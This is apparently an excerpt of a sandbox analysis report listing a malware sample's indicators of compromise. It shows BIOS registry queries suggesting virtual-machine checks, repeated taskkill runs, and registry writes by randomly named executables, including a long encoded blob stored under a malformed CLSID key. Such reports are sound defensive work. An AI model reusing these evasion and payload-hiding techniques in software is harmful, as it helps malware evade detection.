description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe -
Kills process with taskkill 10 IoCs
pid Process 10248 taskkill.exe 736 taskkill.exe 4980 taskkill.exe 4052 taskkill.exe 5112 taskkill.exe 9200 taskkill.exe 1244 taskkill.exe 3280 taskkill.exe 5908 taskkill.exe 6376 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Process not Found Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Toolbar Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" Process not Found -
Modifies data under HKEY_USERS 26 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache GoogleUpdate.exe Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders lGf5UNOdf.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders GWEolAl4wiJR.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders GWEolAl4wiJR.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders lGf5UNOdf.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders lGf5UNOdf.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache GoogleUpdate.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders GWEolAl4wiJR.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache GoogleUpdate.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache GoogleUpdate.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" svchost.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8324F243-250C-4E97-915C-8220BAE15E18}\InprocHandler32 GoogleUpdateComRegisterShell64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{76F7B787-A67C-4C73-82C7-31F5E3AABC5C}\ = "IApp" GoogleUpdateComRegisterShell64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3D05F64F-71E3-48A5-BF6B-83315BC8AE1F}\ = "IAppCommand2" GoogleUpdate.exe Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\www.bing.com\ = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\M1033David" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\ProgID GoogleUpdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GoogleUpdate.Update3COMClassService.1.0\ = "Update3COMClass" GoogleUpdate.exe Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 7dfa9cbb40eed701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\msn.com\Total = "2476" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DD42475D-6D46-496A-924E-BD5630B4CBBA}\ProxyStubClsid32\ = "{A3ADC43E-56D9-4EC1-ADDA-49C5B9069B07}" GoogleUpdate.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{C6271107-A214-4F11-98C0-3F16BC670D28}\InprocServer32 GoogleUpdateComRegisterShell64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{494B20CF-282E-4BDD-9F5D-B70CB09D351E}\ = "IGoogleUpdate3Web" GoogleUpdateComRegisterShell64.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\ELEVATION GoogleUpdate.exe Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = bca03f4542ecd701 MicrosoftEdge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{534F5323-3569-4F42-919D-1E1CF93E5BF6}\AppID = "{9465B4B4-5216-4042-9A2C-754D3BCDC410}" GoogleUpdate.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F63F6F8B-ACD5-413C-A44B-0409136D26CB}\NumMethods GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}\ProxyStubClsid32 GoogleUpdate.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{27634814-8E41-4C35-8577-980134A96544}\ = "IPolicyStatusValue" GoogleUpdateComRegisterShell64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F63F6F8B-ACD5-413C-A44B-0409136D26CB}\NumMethods GoogleUpdateComRegisterShell64.exe Set value (int) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\msn.com\Total = "43" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{SGIY41TE-A425-SYI9-7695-TY4FWHP1T7R9}\E281EEDDA83E774D\1 = 01000000000000000000000000000000000000010100000000000000000000000000000032300245453232383831314545454544444444414138383333454537373737343444440000262fa8edc3007ce4992b36b4dcbfe971dc004d17ca900303000004040000ff00ff00b8b8000000000000404000000000000000000000000000000000000000000000000000000000000000000000181901000e11a5b40eb4bdc4ec99b94d81ec753c011a5350021d0815130c4d43020f00011b5442074552071b4e49074e640b1c734d020b014b2300072e24000000000000a97f8c50e75a836db45a836db45a836d0072ee9cb35d836d0072ec9ec12f836d0072ed9fba54836d2a64e4aab55b836d19a9de6fbd52836d19a9d968a649836d19a9d869907f836dbd2b78eeb55b836dbd2b68fea54b836db45a826cc927836d01b1d465b659836d01b1dd6cb45b836d01b12292b55b836d01b1df6eb45b836d0b3b0a0b855a836d590000000000000000000000000000005015450064e28107e3afd4f96100000000000000f0f022022b090c0e002e2f010012130100000000f49266000010100000000080810100000010100000020200050502020000000005050202000000000090920200040400000000000202606101001010000000000010100000000000000010100000000000101000000000000000000010100000c0c406025050000010150702b4b4000000707202f8f8000000404202243115000000000000000000008082026066060010f3e2013838000000000000000000000000000000000000000000000000000050b3e20194940000000000000000000000404101606303000000000000000000000000000000000000000000000000002e5a111d0c7400009eb32c0100101000002e2f0100040400000000000000000000000000202000604e5c1605151561009848d0000040410100d2d20000323301000000000000000000000000404000406e4a051515610000acb01c0000202202000c0c0000040602000000000000000000000000404000c0ee5e14051515610024311500004042020016160000101202000000000000000000000000404000406e49010f0d177300f0f00000006062020002020000262402000000000000000000000000404000406e5c010111630000f8f80000007072020002020000282a02000000000000000000000000404000406e5c1709030c6300606606000080820200080800002a280200000000000000000000000040400042420000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000048cb6fc460c580988f1802e874d64a0048c58064442c0148cb47ecc1dd67530048c58064442c01e9c17b5300cc00000084b7da74613101cc000000000000000084c1d5782c5f1fcb6fcc99f9400000e8e84f4f0033ccccfa81c35390c1b170c1f17040c1f16858c1f16050c1f15868c1f150d7eacdea330148c34083c1f24bb9f243d011e21b0048c19417262e02e8a5672a0048c3d7781403f388cb47e47f9c83131bcb6fcc68c396f6c0290283f84f35c684733000000075627169105b4400b94df50100ffea78422e0183f84f35759b56dd640000ffea49732e0133f388cb47e47b980f000000000000000000000074b90100003beba57e438fc291bf290200000000c30f0000000000000000000084c1d5782c5f1fcb6fccab5192c37211947d0100f635c27579b79a21010048c34427de64520048c34c8fc3d7781478cb47e47f9c0f000000000000000000000084c1d5782c40c1e5483458c1fd503c50c1f5580461171ecb6fcc13dea5c588b81ba70148c18849c598a212a401488f8669270f00004cc77ab9c1e0496576f380c8e179588f86115f0f000048c1e02108c8e15170cb4299108f8659170f000048c1e07950c8a1608e411e9800000f0f000049c0273e90000041c9262e800000498e4156d000000f0f000049c02766c8000041c92616b80000498e417ef800000f0f000049c0275ef0000041c9264ee00000498e419e1901000f0f000049c027be11010041c926ae010100e8a94a0b004576f389c0270ea0000048c59811a1a40149c02706a8000049c4c35e59c0271eb000004186814e08d0d707e8f91a0b004576f388c598ce7fa50149c4c376d016f40a0044c9c83733c8e71630c598da6ba50149c4030e800000e80be90a0048c3d7781479c24d8ec3e7481c70c3ff506408c3f7586c00cb47e4611f9d0f000000008c131bcb6fcc68c5888626a40148c35291c18849c30229a0000048cd4cbd65eeea66433101488f4423a000000000000048c30023a8000048cd4cbd65eeea43663101488f442ba800000000000048c3003bb0000048cd4cbd65eeea2c093101488f4433b000000000000048c5068b010100e822c60c0048c5066be00000e856b20c0048c50633b80000e85abe0c0048c5060b800000e84eaa0c0048c5c613b075910c0048c5c673d07c980c0048c5c65b58cb47e47bb26f8a0c00cc00000000008c131bcb6fcc68c35291cd57a6370aca4b37b6c24b88b73f40bc3e027582bfcd45b45a67b63f82c2bc3e027583bec30239b0000041f8b90000a05fea6d572e018545b578ca8473cc030000b7cb47e47b9873b149cb47e47b980f00000000000084c1d57834471fc96d6c80000048c38e59500e02487bf78cc1cd605c30c35291c5985beda20148cb42d15576f3288667090048c5c6737d76f388c5982197a201e8b352090048c5c6131d76f388c5983482a201e8a041090048c3002ba0000033ccb7cd4cbd79f2ea19232e0148c1321ba0000048c30023a8000048cd4cbd79f2eae6dd2f0148c13213a8000048c3003bb0000048cd4cbd79f2eacff42f0148c1320bb0000048c5060b80000089f27785f24b78cbfa610862714bc3824c76fa0e836004210100004576f381ccdc50feea81ba2f0148c10a23a0000048cd45b57bc98473cf000000cdf2292cc4010041f8bd040000c7836064704575004cc1c9606408c34389ccdcaf01ea2f142f0148c3002ba000004cc1c9606401f8bd04000041ccdc50feea0b302f0148c3002ba000004cc1c9606401f8bd04000041ccdc52fcea172c2f0148c3002ba000004cc1c9606401f8bd04000041ccdc53fdeaf3cb2c0148c3002ba000004cc1c9606401f8bd04000041ccdc55fbeadfe72c0148c51e2bb8000048cbf9620862714bc399564bb8345bd800004576fa81c3002ba00000488f83601c3901000089f55814f783600c2b03000048c1f55804dfea9aa22c0148c10a2ba800004cc75b98cd45b579cb8473ce010000163ed70000833867dc000004bcb8f010643db9f090e48b4a84f842030c700bb552fb5bc580f955a00148c1f5587418c1c5686c007182ab11010074625ec5068b01010048cbfa610862714bc38241c1c5686c04c10e63e0000049cafb600862714ec68b488f83601c390100004cc180a30fa00189cd601478c598f246a00148c5c9606c01c24182c1cd600c60c1f55804dfea162e2c0148c10a33b0000048cd45b57cce8473cd02000014da02e19ac34023fce902007b44cf8bd7ad0100b7c5c1687c108f8360547f0f000048c1f5584c28c8f4587cb087660900b0b149c3c7685c307bff2458f8480048c317b8bc98000048c945448000005f9c0f000000000000000000000000000084c1d57834471fc96d6c88080048c38e79750b02487bf78cc10da05478080048c352eae19ac5c1686401f99c2c0800e8941c600048c3003bb000004cc1c1681403cc38836014142c08004cc1c9606408c1f55804adda76deea360f2d0148c5c9606409ca4b37b6b63f827a043c7582bac845b463577844586408c5c67370c5d970640c434b832fdd33060048c307a854780800487bff241db2470048c317b8bc90080048c945448808005f9c0f00000084c1d5783458c1fd503c4f1fcb6fcc68c3723e836014300000008bc2418b42a58c17b44b0044cfcc4f44c1c1681478c3043fb0000041c243a42cc35b98c37bc3e824ea4c722a018545b4275c105b44008bcf6014b545b4186fdb53cc4f23e84043a4e77b9c176255cf488bc5c21710c35d3e22cc060033e89fcfcc4f44c1c1681478c3043fb00000446fe8485892c243a42c4bd529ea132d2a018545b5c7758077c50a0000b7cd73827c40c3452682214b0032f288c3d7781c70c3ff506408cb47e47f9c465eaf7b4bcf488bc5c21710c35d3e816f060048cd73827c40c34526d0734b0048c3d7781c88b149c3ff506408cb47e47f9c0f00000000000000000084c1f55804751dc5e148d4b8c96dfc11010048c38ec2c00502487bf78cc1cc4533e19ac372b1c5c1687414c9cf2a8025935e004cc1c1687497836074386800004576f3078360547101000033e11582e5a101000048c58080129e01c782f5b1010000ffea5d622b018545cf8bc542030044cfcf605438c5c08d88c3df704c20c115b80c29010048c13d901431010033c5bec1fca590c8fdb5888f829dd70f0000e8836f040048c5c88588c51227b800004873e3ac033fc3c85b50cb7be862310bc38043b73f88753d1010007242c637de108a7dfa020048c3cab9b073face8c72f302004863e380cb7af1078d68e8020048cb7ade288861e4020048c343202e834500488f845b170f000048cbf8630858c1fa6362774dc388e8e84bc3488bc5d89580c8b878c34023bc5d090048c3ce9d90cb7be862360cc3c68d88b73f88753d1010007242c637de108a1d9a020048c3cab9b073face8c129302004863e380cb7af1078d0888020048cb7ade28880184020048c34320a60b45000fb8f360503cc5c08d84cfcee5e8c3decdfeef0e5fd800008bcf6040ed0e5bdc0000488f829dd70f000048c1fca590c8fdb528b75c030048c5c88588c5127fe000004873e3ac033fc3c85b50cb7be862310bc38043b73f88753d1010007242c637de108a991e020048c3cab9b073face8c961702004863e380cb7af1078d8c0c020048cb7ade28888d08020048c3432052fe4400488f845b170f000048cbf8630858c1fa6362774dc388e8e84bc3488bc5d89580c8b878c34023a040080048c3ce9d90cb7be862360cc3c68d88b73f88753d1010007242c637de108a39bd010048c3cab9b073face8c36b401004863e380cb7af1078d2caf010048cb7ade28882dab010048c34320aa06440044cfcef5f8c5c0ada8c3defde08f82bdf70f000048c1fc85b0c8fd9508816b020049ca4a36b7c5d8b5a576f388c340237e90060048c34427465607007b44b45e62c3043fb0000048c598b1389d014576fa40fd500465c8cc70ceead6e426018545b541f38077cb040000cde993c3cebdb0cb7be81f8d1c9e000048c3c6ada8b73f88753d1010000f8d04860000f637de6b2eb3f810010048c34427c32a010048c3043fb000004cc1ca4b40c1c168648783606444040000baa913002068c1fd5004dfea96a426018545b57cce8077ca050000147ddec3442706140500b7c344277e6d04007b44b4f631b2ea6bc8c3cab9b073face8c36b500004863e380cb7af1078d2cae000048cb7ade28882daa000048c34320c269430048c33f90143101000fb9758bc317b80c29010048c3c64d487bff24cb60430048c337981c39010048c945d41101005d9e2b29448500cc24533e8500cc245d308500cc24472a8500cc24412c8500cc244b268500cc2475188500cc247f128500cc2479148500cc24630e8500cc246d008500cc2497fa8500cc2491fc8500cc249bf68500cc2485e88500cc248fe28500cc2489e48500cc24b3de8500cc24bdd08500cc24a7ca8500cc0000000000000000000084c1fd503c4f1fcb6fdc78c37a48b9d0d707e855fb460048c373b0cd45b567d58176c9060000b7c3ff507418cb47f46f9c8bc3053eb000004cc1c1686c00c1d578640cc74cf4e81c83606c48d0d70748c1d57804adde45e9ea360527018545b43579276b605ccb4834f0109f8000000048b73c43bc231f7582bfc5c35e5cc7488bc35c3fd038000048c34427d47a460048c3d77864f0b149c3ff507418cb47f46f9c8bc34427ca64460048c3d7786472f288c3ff507418cb47f46f9c0f00000084c1d5782c40c1fd5034471fcb6fcc69c273b0c379bac35291cd57a62e12c3da4950cb79ea62774dc38aeae84bc3488b73cb82310bcb79ea62714bc382414b485b5873f5b84779cb79ea62774dc388e8e84bc3488b63dbbcc74483c74d8ec3589bc34083c3d7781478c3ff501c70cb47e47fb6709b020048cb7c01f18825a20000487142636b536cc7c85358c35c9fc34023b25f050048cd7a8b013dcbf8630862360cc380e0a90acd7a8a9aa7cbf8630858c1f26b626b51c38843c8b070c3488bc3d7781478c3ff501c70cb47e47f9c8bc34805c50348c3d7781478c3ff501c70cb47e47f9c8bc34083cd7a8b7f47c74c8fc35d3eaf15520048cbf8630858c1f26b62774dc388e8e84bc34805c23c3848c3ff501c70c3488bc3d7781478cb47e47f9c8bc5807bef9801e829fa3b00cc84c1d5783458c1e5483c4e1ecb6fcc69c27bb8c361a2c35291cd57a62e16c7c25151ca7ae962774dc38aeae84bc3488b73d39a310aca7ae962714bc382414b485b5873f6bb4778ca7ae962774dc388e8e84bc3488b63c3a4c74582c74e8dc3589bc34083c3d7781c70c3e7486408cb47e47eb7709b02004cc7c85359c24b88bf279873fdc98926a0000048c1f5581479c4b10c78cd73820e32cb7c01f18812950000487142636b6f54c35c9fc34023e509040048cd7a8b2e12cbf8630862576dc380e0c86bcd7a8a9aa7c1f26b58cbf86308627a40c38843c8b0d3dd7ec34805c503ebc566c34083cd73827b474b485b5cc74d8ec35e3dfd44510048cbf8630858c1f26b62774dc388e8e84bc34805c23c3848c3f7581478c3488bc3d7781c70c3e7486408cb47e47e9d8bc58032a79901e862b03a00cc84c5803faa9901e895473a00cc0000000000000000000000008c131bcb6fcc68c3ca5950c35291cb7be862417bc38241b73f88753d1010007252d637de6a360bc3cab9b073fab2330863e380cb7af17a4f75cb7ade504a75c343201acc3e00488f845b170f000048cbf86308588f84531000000072714bc390ddc50348cb47e47b982b7e178100cc2478118100cc24620b8100cc246c058100cc00000000000000000000000000000084c1d5782c40c1fd503458c1f5583c59171ecb6fcc68c3c95259c272b4c67bb8c379bac3529072fbcf8d5bd900004962eb8c77f3804748bfb073f1bf5a66c4893c707178511f8d4bc9000048c1c85158cbfa610862714bc382cfc2050133e19ac34023f11d0400e96b82000048cb7c01f1882cab0000487140616b546bc7ca5158c35c3fb05a020048cd7a8b1529cbfd660862714bc3bd7ecbf8630862576dc380e0c86bcd7a8a90adcbfa610858c1f069627a40c38a41c8b0d3d87bc34805c503ebc063c34083cd7a8b7846c799227ac74c2fb1164f0048cbf8630858c1f26b62774dc388e8e84bc34805c23c3848c3ff501c70c3488bc3d7781478c3f7586408cb47e4611f9d8bc5809f049701e819c93800cc84c58088139701e80cdc3800cc84c58065fe9701e85b8b3800cc000084c1d5783458c1e5483c50c1fd500461171ecb6fcc68c3c95259c27ab8c263a4c779bac3529072fbcf8d4dcf00004962eb8cc7ca515c77f3804748b7b9c24b88bf279873fdc98939bf000048c1f5581479c4b10c78cd73f98b0682000048cb7c01f18837b00000487140616b506bc35c3fd33a010048cd7a8b112ccafd660862714ec6bd7ecbf8630862576dc380e0c86bcd7a8a90adc1f06958cbfa6108627a40c38a41c8b0d3dc7fc34805c503ebc467c34083cd738264584b485b59c4993a62c74d2ed0764e0048cbf8630858c1f26b62774dc388e8e84bc34805c23c3848c3f7581478c3488bc3d7781c70c3e7486408c3ff506c00cb47e4611f9d8bc58061f99401e823fc3700cc84c58042da9401e872ad3700cc84c5804fd79401e865ba3700cc00000000000000000000000084c1d5782c5f1fcb6fcc68cbf9620858c35192c3728a625dc7c95259ca43c1756df142e74d00ebf95acd7a8b724ec3894ac188498fc50200000048c3c85358c1ce5758c3c85b50c1ce5f508f845b170f000048cbf86308588f845310000000726359c388c5c60048c3d7781478cb47e47f9c05c50348c3d7781478cb47e47f9c8fc5cd603c50c1dd703458c1c5682c5e0116171ecb6fdc788f83600cd6010000b7c1d5784c25c67bb8c35291c371b2cb4cc047cb7c0188734dc37111de79c7ca5951c243809938a1f01301000000000000e2bf10af993ba273f1bc605e8f0039010000b7c34c8f63ea8d77fbb7734ec7b13d49c5c24e49cd4cbc7137c51dde7dc978f910100072566cc5cc666f73fab672eda27c360048c343208e5d3b0048c5fd576fcb6506a8c1cfbe13e3e0bb683b0048c37bb8c1fd5004cbff5cc3d778741cc7ff504428c3f7587c10c3ff50046dc873826b57cbf8630862774dc398f8e84bc3589ec873827f46c64d8ec34526b5114c0048c3c85b50cb7be8623903b73f88c38043753d101000724ace37de6b72ee97027d00cc84c3cab9b073fab374ee980d7d00cc8463e380cb7af17b75ee891c7d00cc84cb7ade5170eebd287d00cc84c3432068ba3a00488f845b170f0000488f84531000000048cbf8630862774dc388e8e84bc34805c60048c1ba7bc1f26354c5fa6358cbf8630862714bc3559c84c2373348c3d7784c20cb47f4711f01019d0f0000000000000000000000000084c1d5782c5f1fcb6fcc68c3f26958c3529173c1f58d23a1000048c34c8f63e98b72fbb7457ac1d84158cbfa610862675dc38ac7c2141048c34a89c3d7781478cb47e47f9c8bc34805c2171348c3d7781478cb47e47f9c8ec845b42519cbfa610862774dc38aeae84bc3488a62d3b0c5811c58c34c8f63e9b67846c799154dc74b28c2614b0048cbf8630858c1f26b62675dc388c5c23c3848c3488bc3d7781478cb47e47f9c8bc34805c23f3b48c3488bc3d7781478cb47e47f9c8bc58053cc9301e855893400cc00000000000000008c17161515171ec96d6c80000048c38e59a6fb01487bf78cc1cd60442cc779ba8f83607c570f000048c372b1c59857d390014576d7acc5c168640576f38cc5ed407414ccec4064a8bca30800b7c3cc2f20cb7bf972102a8e815e170f00004dc4ef7655cdae6ec3df707c10cb79ea635c63c7cf607419ca43c1755864c5d9706409c24526b0124a0048c3df707c10c3c7687419c0c75e59c0df4ef1e308020048c3c7686409c08746c3c7687419c0c75e59c0df4ef119f1010048cbfc0f6058c115b894b0000048c5d20710c125889cb80000727749c788e8e84fc74887cded400c6ccf4372b20800004cc5ed4004995014fd00ffea626e1801482b8b6d45bf05338e815e170f000049ca4a36b2c4ef765576f388c35896cdae6fc2452667760600b7c3cf607c10cb7be81f8deb68010048c3c7686408b73f88753d1010007242c637de108af87c010048c3cab9b073face8cf57701004863e380cb7af1078ded6e010048cb7ade2888ec6a010048c343200bd43700e9f61e0100488f063e000000b7c1fd505cc0ba0200004cc5f5585438bf12ad474f8189c34320fd293c0048cbf863085cc7738a714bc3905fcfc42724c7484ae5480c92b2080000b95014fd004cc5f55804dfeab1bc19014cc5ed401c7ccf4681c5ed40147dc64c83cded400c1be1e1fa85c5ed4004dfea8d801901482bbb90c3402351823b004cc5ed401c7ccf4681c5ed40147dc64c4ed5780c1be1e1fa81c1cd600468c37b0fea727f19014cc7488bc5c1686408c35d3e879a0a00b6c244279b483b0048c3452683503b004cc7f7585438c3ff505c318e815e170f00004dc4ef7655cdae6ec3c7687c10cb7ae9636c53c7cf607419ca43c1756854c5d9706409c245268b2b480048c3c7687cb3e340c3cf606409c08f4ec3cf607419c0cf5659c0c75650c317b894b0000048c327889cb8000049c24d8ec3c76844287bff245f81360048c94544800000411f